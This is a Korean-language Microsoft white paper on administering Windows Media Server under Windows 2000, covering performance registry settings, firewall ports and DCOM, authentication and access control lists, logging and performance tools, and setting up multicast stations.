    서버에서 사용하지 않는 서비스를 실행하는 경우가 많습니다. 보통 이들 서비스는 시스템이 부팅되면 자동으로 시작됩니다. 이러한 서비스의 한 예로 응용 프로그램에 대한 고객 라이센스가 현재 유효한 것인지 확인하는 라이센스 로깅을 들 수 있습니다. 서버가 스트리밍 미디어 배포 전용으로 사용된다면 이 서비스를 계속 실행해야 할 이유가 없습니다. 또 다른 예로 인쇄 스풀러를 들 수 있습니다. 서버를 스풀러로 사용하지 않는다면 스풀러를 끕니다. 또한 고성능을 위해 Microsoft 인터넷 정보 서비스(IIS)와 Windows Media 서비스를 같은 서버에서 실행해서는 안됩니다. 서버를 Windows Media Server 전용으로 만듭니다. 같은 시스템에서 IIS를 실행한다면 컨텐츠 인덱스 작성기와 FTP 서비스는 사용하지 않는 것이 좋습니다. 인덱스 작성기는 상당한 양의 메모리와 디스크 공간을 요구하며 FTP 서비스는 대개 사용되지 않습니다. 일반적으로 꼭 필요한 서비스가 무엇인지 판단하고 필요하지 않은 서비스는 모두 중단합니다.

    레지스트리 키 설정

    서버에 많은 로드가 걸릴 때 서버의 성능을 개선하기 위해 값을 조정할 수 있는 레지스트리 키에는 두 가지가 있습니다. 키가 없는 경우 키를 추가하거나 설정을 수정하려면 레지스트리 편집기를 사용합니다.

    MaxConnectionPerSecondKey

    MaxConnectionPerSecond 레지스트리 키는 보류 중인 요청을 유지하는 대기열의 크기를 설정하여 서버가 처리할 수 있는 초당 클라이언트 연결 요청의 수를 제어합니다. 클라이언트 연결 요청의 처리에는 시스템 리소스(CPU 주기 및 메모리)가 사용되며 컴퓨터 하드웨어 구성에 따라 클라이언트로 전달되는 미디어 스트림의 품질과 서버 성능에 나쁜 영향을 미칠 수 있습니다.
    연결 요청이 클라이언트에서 Windows Media Server로 보내지면 요청은 연결 대기열에 배치되어 차례대로 처리됩니다. 서버에 연결하려는 클라이언트 시도가 이러한 연결 요청 처리를 위한 연결 속도를 초과한다면 대기열이 가득 차게 됩니다. 초당 처리되는 클라이언트 연결 요청 수에 대한 기본값은 Windows Media Server에 대한 최소 시스템 요구사항을 충족하는 컴퓨터가 연결된 클라이언트에 전달되는 스트림의 품질에 영향을 주지 않으면서 초당 25개의 연결 요청을 처리할 수 있기 때문에 25로 설정됩니다. 대기열에 있는 클라이언트 연결 요청의 수에 대한 값은 초당 클라이언트 연결 수의 20배와 같거나 기본적으로 500입니다. Windows Media Player가 장애 조치(failover) URL을 사용하여 연결을 시도하기 전에 20초 동안 대기하도록 설정되기 때문에 이 값은 연결 속도의 20배로 설정됩니다. 대기열의 모든 요청은 20초의 대기 시간 내에 처리됩니다.
    서버는 대기열에 있는 클라이언트 수를 유지합니다. 대기열에 최대 허용 수만큼의 요청이 배치되면 서버는 연결 요청을 수신하는 것을 중지합니다. 연결을 시도하는 클라이언트는 즉시 서버를 사용할 수 없다는 메시지를 받게 됩니다. 이러한 상황이 발생할 때마다 오류 코드 503으로 Windows Media 로그 항목이 작성됩니다. Microsoft Windows 2000 Server 응용 프로그램 이벤트 로그에도 Windows Media 서비스가 %1의 최대 보류 연결에 도달했다는 내용의 메시지가 나타납니다.그러나 서버가 수신을 중지하고 로그 입력이 지난 1분 동안 이루어지지 않은 경우에만 이 항목이 작성됩니다. 여기에서 %1은 변수이며 표시되는 숫자는 대기열의 크기입니다. 그런 다음 서버는 2.5초마다 대기열이 꽉 찼는지 검사합니다. 클라이언트가 처리되어 대기열에서 제거되면 서버는 다시 연결 요청을 수신하기 시작합니다.
    다중 프로세서가 있으며 메모리의 양이 큰 컴퓨터를 사용한다면 컴퓨터는 더 많은 수의 연결을 처리할 수 있을 것입니다. 그러나 이 값의 증가를 결정하기 전에 Windows Media Load Simulator를 사용하여 컴퓨터의 CPU와 메모리를 세심하게 평가하는 것이 좋습니다.
    서버 연결 속도를 사용자 정의 값으로 설정하려면 변경해야 할 각 Windows Media Server 시스템 레지스트리를 편집합니다. 연결 속도가 특정 하드웨어 구성에 대해 너무 높거나 너무 낮다면 레지스트리 키 HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services nsunicast Parameters MaxConnectionsPerSecond를 사용자 정의 값으로 설정할 수 있습니다. 고성능 서버에서는 75, 심지어 100의 값을 사용할 수 있어야 합니다.

    MaxUserPort

    기본적으로 아웃바운드 호출에 사용하기 위해 응용 프로그램이 시스템에서 소켓을 요청하는 경우, 시스템은 1024와 5000 사이의 값으로 포트를 공급합니다. MaxUserPort 매개 변수는 아웃바운드 연결에 사용할 수 있는 최상위 포트의 값을 설정합니다. Windows Media Server가 로드가 심한 상태에서 작동한다면 이 값을 올려야 할 것입니다. 이 값을 설정하려면 HKEY_LOCALMACHINE SYSTEM CurrentControlSet Services Tcpip Parameters를 탐색합니다. 아직 없다면 MaxUserPort 값을 추가하고 이 값을 0xFFFE로 설정합니다.

    최신 NIC 드라이버 사용

    NIC 드라이브를 최신의 상태로 유지하는 것이 중요합니다. 드라이버를 구형 드라이버에서 최신 버전으로 업데이트하면 성능이 상당히 증가됩니다.

    서버 포트 번호

    TCP/IP 기반 네트워크 컴퓨터에서 실행되는 응용 프로그램에는 포트 번호가 할당됩니다. 이 번호는 들어오는 데이터를 올바른 서비스에 연결합니다. 잘 알려진 포트는 모든 사람들이 사용하는 표준 포트 번호입니다. 예를 들어, 포트 80은 항상 HTTP 소통량(웹 소통량)에 사용됩니다. Windows Media Technologies는 다음과 같은 포트 번호를 사용합니다.
    • 클라이언트는 명령 및 제어 패킷에 대해 서버 포트 1755로 바운드되는 TCP 소켓을 만듭니다.
    • UDP 스트리밍의 경우, 클라이언트는 역시 서버 포트 1755로 바운드되는 UDP 소켓을 만듭니다. 이것은 패킷 재전송 요청 발급에 사용됩니다.
    • UDP 스트리밍의 경우, 클라이언트는 수신할 UDP 소켓을 만듭니다. 이 포트 번호는 임의로 할당되며 그 범위는 1024와 5000 사이입니다.
    이러한 포트에서 소통량을 허용하도록 방화벽을 구성해야 할 수도 있습니다. 또한 잘 알려지지 않은 포트를 여는 것이 문제가 되는 사이트에 경우, Windows Media는 포트 80에서 HTTP를 통해 스트리밍할 수 있습니다.

    포트 번호와 DCOM

    DCOM(Distributed COM)은 프로세스마다 하나의 포트를 동적으로 할당합니다. DCOM 프로세스에 할당할 포트의 수를 결정해야 합니다. 이 수는 방화벽을 통해 전달되는 동시적인 DCOM 프로세스 수와 같습니다. 또한 원격 프로시저 호출(RPC) 끝 점 매핑에 사용할 포트 135를 열어야 합니다. 또한 DCOM에서 예약된 포트를 알 수 있도록 레지스트리를 편집해야 합니다. 이러한 작업은 HKEY_LOCAL_MACHINES Software Microsoft Rpc Internet 레지스트리 키로 수행합니다. 이 키는 레지스트리 편집기를 사용하여 만들 수 있습니다.
    아래의 예에서는 DCOM에게 포트 범위를 10포트로 제한할 것을 지시합니다.
    Named Value: Ports
    Type: REG_MULTI_SZ
    Setting: 포트 범위. 다음과 같이 여러 행일 수 있습니다.
    3001-3010
    135
    포트 번호, 방화벽 구성 및 DCOM에 대한 자세한 내용은 다음 웹 사이트를 참조하십시오.
    http://www.microsoft.com/korea/Windows/windowsmedia/serve/firewall.asp
    서버 보안 문제 Back to Top

    이 절에서는 Windows Media Server의 보안을 유지하고 컨텐트를 보호하는 방법을 설명합니다. 서버는 두 가지 인증 방법 중 하나를 사용하여 보안을 유지할 수 있습니다. 컨텐트는 Windows Media Rights Manager로 보호할 수 있습니다.

    유니캐스트 전송으로 인증

    인증은 서버에 액세스하는 사용자의 신분을 확인하는 것을 의미합니다. 유니캐스트 전송은 클라이언트와 서버 사이에 지점간 연결이 존재하기 때문에 자동으로 인증됩니다. 클라이언트와 서버 사이에 직접 연결이 없는 멀티캐스트 전송은 여러 가지 문제를 발생시킵니다. 멀티캐스트 전송에 의한 인증은 이 백서의 뒷부분에서 설명합니다.
    Windows Media Server에서는 다음과 같은 두 가지 인증 방법 중 하나를 사용할 수 있습니다.
    • 익명 인증(기본값)
    • 기본 인증
    이것은 Windows Media 관리자를 사용하여 서버 등록 정보 아래에서 선택합니다.

    익명 인증

    이 옵션은 기본값인 인증을 선택하지 않음을 선택하여 선택됩니다. 네트워크 관리자는 익명 인증을 사용하여 익명 로그온 사용자 계정 이름을 지정하거나 Netshow Services라는 기본 사용자 이름을 받아들이고 계정의 암호를 입력합니다. 클라이언트의 웹 브라우저가 사용자 이름이나 암호를 제공하지 않고 URL을 요청한다면 서버는 익명 사용자 계정을 가장하고 리소스에 대한 액세스를 시도합니다.
    익명 액세스를 사용하면 IT 관리자가 NetShowServices 사용자 이름을 받아들이지 않음으로써 특정 파일에 대한 액세스를 거부할 수 있습니다. 이렇게 하려면 파일에 대한 액세스 제어 목록(ACL)을 설정합니다. 이 백서의 뒷부분에 나오는 "액세스 제어 목록 사용" 절을 참조하십시오. 사용자가 익명으로 Windows Media 컨텐트에 액세스를 시도하고 NetShowServices 계정에 그 파일에 대한 읽기 권한이 없다면 사용자는 로그온해야 합니다. 로그온이 거부되면 파일에 대한 사용자 액세스가 거부됩니다.

    기본 인증

    기본 인증을 사용하면 클라이언트는 일반 텍스트(암호화되지 않은) 사용자 이름과 암호를 입력해야 하며 사용자 이름과 암호는 Base64로 암호화되어 서버로 전달됩니다. 서버는 사용자 이름과 암호를 디렉터리 데이터베이스와 비교하고 사용자 이름과 암호가 정확한 경우에만 서버는 사용자를 가장하고 리소스에 대한 액세스를 시도합니다. 기본 인증은 계정 데이터베이스의 정보를 사용하거나 설치된 경우 Microsoft Site Server Membership 계정의 정보를 사용할 수 있습니다.
    Base64 암호화는 암호화의 최소 형식입니다. 네트워크 소통량을 모니터링하는 사용자가 실제 사용자 이름과 암호를 볼 수 없더라도 암호 해독은 중요하지 않습니다. 소통량을 모니터링할 정도로 기술이 뛰어난 사람들은 거의 알고리즘을 연구하여 역 변환할 수 있어 웹 사이트 침입에 사용할 수 있는 일반 텍스트 사용자 이름과 암호를 알아낼 수 있습니다.

    인증 패키지 적용

    인증 패키지를 적용하려면 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다.
    인증 패키지를 적용하려면
    1. Windows Media 관리자 메뉴에서 서버 등록 정보를 누릅니다.
    2. 서버 구성 - 서버 등록 정보 페이지가 나타납니다. 일반 탭의 내용이 기본으로 나타납니다. 그림 6은 예를 나타낸 것입니다.
      그림 6 서버 등록 정보 페이지
    3. 게시 지점 보안 탭을 누릅니다.
    4. 목록에서 인증 패키지를 선택합니다. 적용을 누릅니다.

    액세스 제어 목록 사용

    인증 패키지가 활성화되면 Windows Media Server를 사용하여 액세스 제어 목록(ACL) 사용 확인 확인란을 선택하여 액세스 제어 목록(ACL)을 사용할 수 있습니다. 액세스 제어 목록은 폴더나 파일에 대한 액세스 권한이 있는 사용자와 그룹을 지정하는 파일이나 폴더에 관련된 항목 목록입니다. ACL이 없으면 모든 파일과 폴더에 인증이 필요합니다. ACL이 있으면 개별 파일과 폴더에 사용자별 권한을 설정할 수 있습니다.
    ACL의 각 항목은 파일에 대한 다음과 같은 액세스 수준 중 하나 이상을 사용자나 그룹에 할당합니다.
    • 없음 - 사용자에게 파일 액세스를 허용하지 않음
    • 데이터 읽기 - 사용자에게 파일의 데이터를 보도록 허용
    • 데이터 쓰기 - 사용자에게 파일의 데이터를 변경할 수 있도록 허용
    • 파일 실행 - 사용자에게 프로그램 파일을 실행할 수 있도록 허용
    • 삭제 - 사용자에게 파일을 삭제할 수 있도록 허용
    • 사용 권한 변경 - 사용자에게 파일에 대한 사용 권한을 변경할 수 있도록 허용
    • 소유권 가져오기 - 사용자에게 파일의 소유권을 가져올 수 있도록 허용
    유사한 사용 권한을 폴더에 대해서 설정할 수 있습니다.
    • 없음 - 사용자에게 폴더 액세스를 허용하지 않음
    • 폴더 열거 - 사용자에게 파일 이름과 하위 폴더 이름을 볼 수 있도록 허용
    • 파일 만들기 - 사용자에게 파일과 하위 폴더를 추가할 수 있도록 허용
    • 폴더 통과 - 사용자에게 하위 폴더를 변경할 수 있도록 허용
    • 하위 폴더 및 파일 삭제 - 사용자에게 하위 폴더를 삭제할 수 있도록 허용
    • 사용 권한 변경 - 사용자에게 폴더에 대한 사용 권한을 변경할 수 있도록 허용
    • 소유권 가져오기 - 사용자에게 폴더의 소유권을 가져올 수 있도록 허용
    자세한 내용은 Windows Media 관리자 도움말 파일에서 "Restricting access to ASF Streams" 페이지를 참조하십시오.

    Windows Media Rights Manager

    컨텐트 작성자는 디지털 권한 관리 응용 프로그램인 Windows Media Rights Manager를 사용하여 패키지화된 암호화 파일 형식으로 인터넷을 통해 노래, 비디오 및 기타 미디어를 배포할 수 있습니다. 최종 사용자는 Windows Media Player로 재생하기 위해 파일의 암호를 해독하는 키가 있는 별도의 라이센스가 필요합니다.
    Windows Media Rights Manager는 강력한 디지털 권한 관리 암호화 스키마를 사용합니다. 모든 파일은 Windows 운영 체제를 실행하는 각 PC에 고유한 암호화 형식으로 저장되므로 라이센스 보호에 대한 침입이나 파일의 복사가 매우 어려워집니다. 이 Windows 기반 PC별 암호화 스키마는 고객이 부주의하게 파일 보호를 위반하지 않도록 보호합니다. 또한 의도적인 해킹 행위의 저지책 역할도 합니다. Windows Media Rights Manager에 대한 자세한 내용은 다음 웹 페이지를 참조하십시오.
    http://www.microsoft.com/windows/windowsmedia/support.asp
    로깅 및 서버 성능 정보 Back to Top

    클라이언트에 대한 정보를 로깅하고 서버 성능을 평가하고 모니터링하는 여러 방법이 있습니다. 이 절에서는 다음과 같은 항목에 대한 개요를 설명합니다.
    • Windows Media 관리자 로그 파일
    • Windows Media 성능 도구
    • Windows Media Load Simulator
    이 도구들에는 모두 자세한 자체 도움말이 있습니다. 자세한 내용은 각 도움말 파일을 참조하십시오.

    Windows Media 관리자 로그

    Windows Media 관리자는 이벤트에 대한 정보와 유티캐스트 게시 지점에 연결된 클라이언트에 대한 정보를 로깅할 수 있습니다. 멀티캐스트 문제에 대한 정보 로깅은 더 어려운 문제이므로 멀티캐스트의 절에서 설명하기로 합니다. 기본적으로 로깅을 사용하지 않습니다. 로깅을 사용하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다. 왼쪽의 메뉴에서 서버 등록 정보를 누르고 게시 지점 로깅 탭을 누릅니다. 그림 7은 예제 화면을 나타낸 것입니다.
    그림 7 유니캐스트 로깅 사용
    게시 지점 이벤트 로그는 클라이언트 작동의 날짜, 시간 및 설명을 표시합니다. 그림 8은 이 로그의 예를 나타낸 것입니다.
    그림 8 Load Simulator 게시 지점 이벤트
    Windows Media 관리자 게시 지점 클라이언트 로그는 다음과 같은 정보를 표시합니다.
    • 클라이언트 ID(각 클라이언트가 서버에 연결되는 순서대로 할당)
    • 클라이언트의 IP 주소
    • 클라이언트에 할당된 포트 번호
    • 클라이언트 상태(스트리밍, 중지 등)
    • 클라이언트에 스트리밍되고 있는 파일 이름
    그림 9는 게시 지점 클라이언트 대화 상자의 예를 나타낸 것입니다.
    그림 9 게시 지점 클라이언트 로그 예제
    이 경우에 Windows Media Load Simulator와 다중 클라이언트를 시뮬레이트하는 단일 컴퓨터를 사용하여 데이터를 수집했기 때문에 클라이언트 IP 주소가 모든 인스턴스에서 동일합니다. 각 클라이언트에는 임의로 할당된 별도의 포트 번호가 있습니다.
    로그 파일 항목은 선택한 기간 동안 또는 파일이 지정한 크기에 도달할 때까지 저장됩니다. 파일은 W3C 표준 형식으로 저장됩니다. 파일은 메모장에서 볼 수 있으며 Windows Media SDK에는 로그 구문 분석을 위한 Windows Scripting Host 스크립트 예제가 수록되어 있습니다. 또한 로그 읽기와 해석에 사용할 수 있는 여러 가지 다른 공급업체 제품이 있습니다. 그러한 제품을 공급하는 회사는 다음과 같습니다.
    Windows Media 성능 도구 Back to Top

    Windows 2000 운영 체제는 관리 도구의 일부로 특별히 Windows Media Technologies 성능과 관련된 통계를 표시하는 모니터를 포함합니다. 이 도구를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media 성능을 누릅니다.
    그림 10은 이 도구를 나타낸 것입니다.
    그림 10 Windows Media 성능 도구
    이 도구는 보다 일반적인 성능 모니터와 비슷하지만 스트리밍 미디어에 관련된 카운터가 포함됩니다. 저장된 주문형 컨텐트에 있어 특히 중요한 통계는 Late Reads 카운터입니다. 이 숫자는 0이여야 합니다. 0이 아니라면 디스크 응답이 저하되고 있으며 요구를 따라가지 못한다는 것을 의미합니다. Late Reads는 정지 이미지와 웹 페이지 같은 정적 데이터 서비스를 제공할 때는 거의 문제가 되지 않지만 실시간 멀티미디어 컨텐트 서비스를 제공할 때는 데이터를 즉시 사용할 수 있어야 합니다.
    Windows Media Load Simulator Back to Top

    Windows Media Load Simulator는 Windows 2000 리소스 키트에 포함됩니다. 또는 다음 웹 사이트에서 다운로드할 수도 있습니다.
    http://www.microsoft.com/windows/windowsmedia/download/default.asp
    이것은 클라이언트 시스템에서 실행되며 많은 수의 Windows Media Player 연결을 시뮬레이트하여 Windows Media Server에 대한 Windows Media 유니캐스트 서비스의 용량을 테스트합니다. 최고 로드와 스트레스에서 오프라인 서버를 모두 테스트합니다. 최고 로드는 정상적인 조건에서 최대 수의 클라이언트가 시스템을 사용하는 것 입니다. 스트레스 테스팅은 최고 로드 이상으로 클라이언트 수를 천천히 증가시키면서 수행합니다.
    또한 Load Simulator는 온라인 Windows Media Server를 모니터링할 수 있으며 서버 성능이 저하되기 시작하거나 서버가 응답을 중지할 경우에 자동으로 관리자에게 알리도록 구성할 수 있습니다. 그림 11은 Load Simulator의 한 예를 나타낸 것입니다.
    그림 11 Windows Media Load Simulator
    다음과 같은 로그에는 Load Simulator를 사용하여 실행한 테스트 결과의 해석에 도움이 되는 정보가 수록됩니다.
    • Load Simulator 자체가 클라이언트 연결 상태, 재생 상태 및 연결 오류와 같은 정보가 수록된 로그를 유지합니다. 이것은 클라이언트 관점에서 본 데이터입니다.
    • 위에서 설명한 Windows Media 성능 모니터는 서버 관점의 정보를 제공합니다. 모니터는 5초마다 서버 성능의 스냅샷을 취해 데이터를 그래픽으로 나타냅니다. 늦은 디스크 드라이브 읽기의 수, 거부된 인증의 수, 스트림 정보 및 서버 CPU 사용과 같은 정보를 사용할 수 있습니다.
    • 위에서 설명한 Windows Media 관리자 로그에도 서버 관점의 정보가 수록됩니다. 이 정보에는 연결 상태 정보, 액세스 중인 컨텐트 및 전송 중에 손실된 데이터의 양이 포함됩니다.
    또한 Windows Media 성능 모니터에는 Simulator와 함께 사용할 수 있는 정보가 수록됩니다. Load Simulator에 대한 자세한 내용은 다음 웹 사이트에서 "Checking Server Performance with Microsoft Windows Media Load Simulator" 기사를 참조하십시오.
    멀티캐스팅 Back to Top

    멀티캐스팅은 데이터를 사용자 그룹으로 전송하는 일대다 형식의 전송입니다. 멀티캐스팅은 파일이 마지막 홉까지 단일 데이터 스트림으로 전송되기 때문에 네트워크 대역폭이 적게 사용됩니다. 이 경우 개별 스트림은 경로의 끝에 있는 라우터에 의해 대상 스테이션으로 전송됩니다.
    Windows Media Technologies가 사용하는 용어 중 특히 멀티캐스트 세션에 적용되는 용어가 있습니다. 멀티캐스트를 사용하는 방법과 멀티캐스트 세션 문제 해결 방법을 설명하기 전에 이들 용어를 설명할 것입니다.

    Windows Media Technologies 멀티캐스트 용어의 이해

    멀티캐스트 전송을 설정할 때 사용되는 용어에는 스테이션, 프로그램 및 스트림의 3가지가 있습니다.
    스테이션은 멀티캐스트 전송을 통한 컨텐트 배포에 사용되며 게시 지점은 유니캐스트 전송에 사용됩니다. 스테이션은 텔레비전 방송국과 비슷합니다. 스테이션은 프로그램이라고 하는 컨텐트를 배포하며 프로그램은 보통 몇 가지 스트림으로 구성됩니다. 예를 들어, 프로그램은 중간에 광고가 삽입된 비디오 클립을 사용할 수도 있습니다. 멀티캐스트를 사용하고 멀티캐스트 스테이션을 만드는 방법에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.

    스테이션의 정의

    스테이션은 .nsc 파일로 정의됩니다. 이 파일은 멀티캐스트 전송의 가입에 필요한 IP 주소, 포트 번호 및 필요한 CODEC과 같은 모든 정보가 수록된 구성 파일입니다. Windows Media Server는 멀티캐스트 스테이션을 구성할 때 입력된 정보에서 .nsc 파일을 만듭니다.
    사용자는 프로그램이 시작할 때 멀티캐스트 전송에 꼭 가입할 필요가 없으므로 .nsc 파일이 필요합니다. 사용자는 언제라도 멀티캐스트 그룹의 구성원이 될 수 있습니다. 즉, Windows Media Player는 전송에 대한 정보가 수록된 헤더 패킷이 없어도 즉시 스트리밍 데이터를 받기 시작합니다. Windows Media Player는 .nsc 파일을 사용하여 이 정보를 가져옵니다.
    보통 관리자는 그룹에 가입할 수 있는 사용자에게 전자 메일로 전송하거나 웹 사이트에 게시하여 이 파일을 사용하게 만듭니다. 즉, Windows Media Server가 파일을 만드는 경우에도 Windows Media Server는 이 파일을 배포하지 않습니다. 관리자는 .nsc 파일의 배포를 제어함으로써 권한이 없는 사용자가 전송을 수신하는 것을 방지할 수 있습니다. 예를 들어, 관리자는 웹 사이트에 파일을 게시하여 정보에 대한 액세스를 허가하기 전에 인증을 요구할 수 있습니다.
    .nsc 파일은 인코더 구성이 들어 있는 .asd 파일의 이름을 포함할 수 있습니다. 템플릿에서 Windows Media 인코더 기본값을 사용하지 않았다면 멀티캐스트 스테이션을 만들 때 이 파일을 지정해야 합니다. 기본값을 변경했다면 .asd 파일을 저장하고 서버에 복사한 다음 멀티캐스트 전송을 구성할 때 이 파일을 지정합니다. 스트림 형식 정보 지정 대화 상자에서 이러한 작업을 수행합니다. Windows Media 관리자는 정보를 .nsc 파일에 저장합니다.

    멀티캐스트 스테이션 구성

    이 절에서는 멀티캐스트 세션을 위한 스테이션 구성 과정을 설명합니다.

    멀티캐스트 세션을 위한 스테이션의 정의

    1. 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다.
    2. 시작하려면 메뉴의 스테이션 구성 머리글 아래에서 멀티캐스트 스테이션을 누릅니다. 서버 구성 – 멀티캐스트 스테이션 대화 상자가 나타납니다. 그림 12는 예제 화면을 나타낸 것입니다.
      그림 12 서버 구성– 멀티캐스트 스테이션
    3. 마법사를 사용하여 새 스테이션 만들기 옵션을 선택했는지 확인합니다. 스테이션을 선택한 다음 드롭 다운 메뉴에서 새로 만들기를 선택합니다. 그림 13과 같이 빠른 시작 마법사 대화 상자가 나타납니다.
      그림 13 멀티캐스트 스테이션 구성을 위한 마법사
      다음을 누릅니다.
    4. 그림 14와 같이 스테이션 선택 대화 상자가 나타납니다.
      그림 14 멀티캐스트 스테이션을 선택하거나 만들기
      이 예에서는 새 스테이션을 만들 것이므로 새 스테이션 만들기 옵션을 선택합니다. 이미 스테이션이 있는 경우 이들 스테이션이 나열되며 두 번째 옵션인 기존 스테이션 선택을 선택할 수도 있습니다. 이것이 기존 스테이션의 구성을 변경할 수 있는 방법입니다. 다음을 누릅니다.
    5. 그림 15와 같이 새 스테이션 만들기 대화 상자가 나타납니다.
      그림 15 스테이션 이름과 설명 지정
      멀티캐스트 및 배포 옵션을 선택하면 멀티캐스트를 사용할 수 없는 경우에 서버가 유니캐스트를 통해 스트림을 시도합니다. 다음을 누릅니다.
    6. 그림 17과 같이 프로그램 및 스트림 이름 지정 대화 상자가 나타납니다.
      그림 16 프로그램 및 스트림 지정
      다음을 누릅니다.
    7. 그림 17과 같이 스트림 개체 원본 지정 대화 상자가 나타납니다.
      그림 17 원본 지정
      스트림이 저장된 파일이라면 고급 스트리밍 형식(.asf) 파일 옵션을 선택합니다. 원본이 실시간으로 인코딩되는 라이브 이벤트라면 Windows Media 인코더 옵션을 선택합니다. 원본이 스테이션이거나 원격 컴퓨터에 위치한 게시 지점이라면 원격 스테이션 또는 브로드캐스트 게시 지점 옵션을 선택합니다. 다음을 누릅니다.
    8. 그림 18과 같이 스트림 개체를 위한 원본 URL 지정 대화 상자가 나타납니다.
      그림 18 .asf 파일에 대한 URL 지정
      이 예에서 예로 든 원본인 .asf 파일에 대해 URL을 지정합니다. 이 과정 후에 Windows Media 관리자는 Internet Explorer 이외의 브라우저에서 이해할 수 있는 형식으로 URL을 래핑하는 .asx 파일을 생성합니다. 이 백서의 앞부분에 있는 "ASX 파일 사용" 절을 참조하십시오.
    9. Windows Media 인코더 옵션을 선택하였다면 그림 19와 같은 화면이 나타날 것입니다.
      그림 19 Windows Media 인코더에 대한 URL 지정
    10. 원격 스테이션 또는 브로드캐스트 게시 지점 옵션을 선택했다면 그림 20과 같은 대화 상자가 나타납니다.
      그림 20 원격 스테이션에 대한 URL 지정
    11. URL을 지정한 후 다음을 누릅니다.
    12. 그림 21과 같이 스트림 형식 정보 지정 대화 상자가 나타납니다.
      그림 21 원본에 대한 경로 지정
      .asf 파일의 위치를 지정합니다. Windows Media 관리자는 파일에 포함된 미디어 종류와 사용한 CODEC과 같이 Windows Media Player에 필요한 정보를 알려면 이 파일의 헤더를 조사해야 합니다. 또한 이 정보는 Windows Media 관리자가 생성한 .nsc 파일에도 저장됩니다.
    13. 사용자는 .nsc 파일을 저장할 위치를 지정해야 합니다. 이러한 작업은 그림 22와 같은 "스테이션 정보 파일을 위한 내보내기 경로" 화면에서 수행합니다.
      그림 22 .nsc 파일을 위한 경로 지정
      .nsc 파일을 저장할 위치를 지정합니다. 이 작업은 웹 서버 또는 네트워크 공유 서버에서 이루어집니다. 이것은 플레이어가 읽을 수 있도록 사용자가 액세스할 수 있어야 합니다. 파일을 권한이 없는 액세스로부터 보호하려면 파일을 인증이 필요한 공유 서버에 배치합니다. 다음을 누릅니다.
    14. 그림 23과 같이 스테이션 정보 파일 URL 화면이 나타납니다.
      그림 23 .nsc 파일을 위한 URL 지정
      이것은 Windows Media Player가 .nsc 파일에 액세스하기 위해 사용하는 URL입니다. URL은 웹 서버 또는 네트워크 공유 서버에 대한 위치일 수 있습니다. 이 예에서는 웹 서버를 지정했습니다. 범용 명명 규칙(UNC) 경로는 컴퓨터 이름 앞에 이중 슬래시 또는 백슬래시를 사용하며 디렉터리는 단일 슬래시 또는 백슬래시로 분리됩니다. 화면의 예제는 UNC 경로입니다. 다음을 누릅니다.
    15. 그림 24와 같이 게시 방법 선택 대화 상자가 나타납니다.
      그림 24 게시 방법 선택
      이 화면은 .asf 스트림을 참조하는 방법을 지정합니다. mms 스트림을 직접 가리키는 것은 보통 바람직한 방법이 아닙니다. 이 예에서는 Windows Media 관리자가 스트림을 참조하는 .asx 파일을 생성합니다. 다음을 누릅니다.
    16. 그림 25와 같이 게시 준비 대화 상자가 나타납니다.
      그림 25 멀티캐스트 옵션 요약
    17. 마지막 화면에는 스테이션 정의 요약이 표시됩니다.

    사용자 정보 로깅

    멀티캐스트를 사용하면 서버와 사용자 사이에 직접적인 통신이 없습니다. 따라서 수신하는 사용자와 특정 클라이언트에 대한 네트워크 연결의 품질에 대한 정보를 수집하기 어렵습니다. 이 문제를 해결하기 위해 Windows Media Player에는 멀티캐스트 전송을 위한 로깅 기능이 포함됩니다. 이들은 IIS Service에서 실행되는 Nsiislog.dll이라는 ISAPI DLL로서 구현됩니다. 아래의 단계대로 수행하여 로깅을 사용합니다. 기본값은 사용 안함입니다.
    1. nsiislog.dll이 수록된 IIS 디렉터리가 웹 디렉터리로 공유되는지 확인합니다. 네트워크 클라이언트는 이 파일에 액세스할 수 있어야 합니다.
    2. Windows Media 관리자 메뉴 프레임에서 멀티캐스트 스테이션을 누릅니다. 멀티캐스트 스테이션 페이지가 나타납니다.
    3. 스테이션아래에서 로깅 파일을 만들 스테이션을 누른 다음 스테이션등록 정보를 차례대로 누릅니다. 스테이션 편집 페이지가 나타납니다.
    4. 스테이션 편집 페이지의 URL 로깅에서 Nsiislog.dll에 대한 URL을 입력하고 확인을 누릅니다. 예를 들어, http://server_name/scripts/Nsiislog.dll과 같이 입력합니다. 여기에서 server_name은 IIS 서버의 이름입니다.
    로깅 사용에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
    보통 통계는 전송 품질, 컨텐트 정보 및 클라이언트 정보의 세 가지 범주에 속합니다. 전송 품질 통계의 예는 다음과 같습니다.
    • 손실된 패킷의 수
    • 다시 보낸 패킷의 수
    • 전송된 바이트의 수
    컨텐트 정보의 예에는 다음이 포함됩니다.
    • 사용된 오디오 및/또는 비디오 CODEC
    • .asf 파일의 URL
    • 포함된 URL
    포함된 URL은 포함된 Windows Media Player가 들어 있는 웹 페이지의 URL입니다. 이 URL을 알면 컨텐트를 사용하는 사용자를 알 수 있습니다.
    클라이언트 정보의 예에는 다음이 포함됩니다.
    • Windows Media Player 글로벌 고유 식별자(GUID)
    • 클라이언트가 특정 스트림을 받은 시간
    • 스트림을 받은 클라이언트의 IP 주소
    • 클라이언트가 사용한 인터넷 서비스 공급자(ISP)

    기타 멀티캐스트 사용

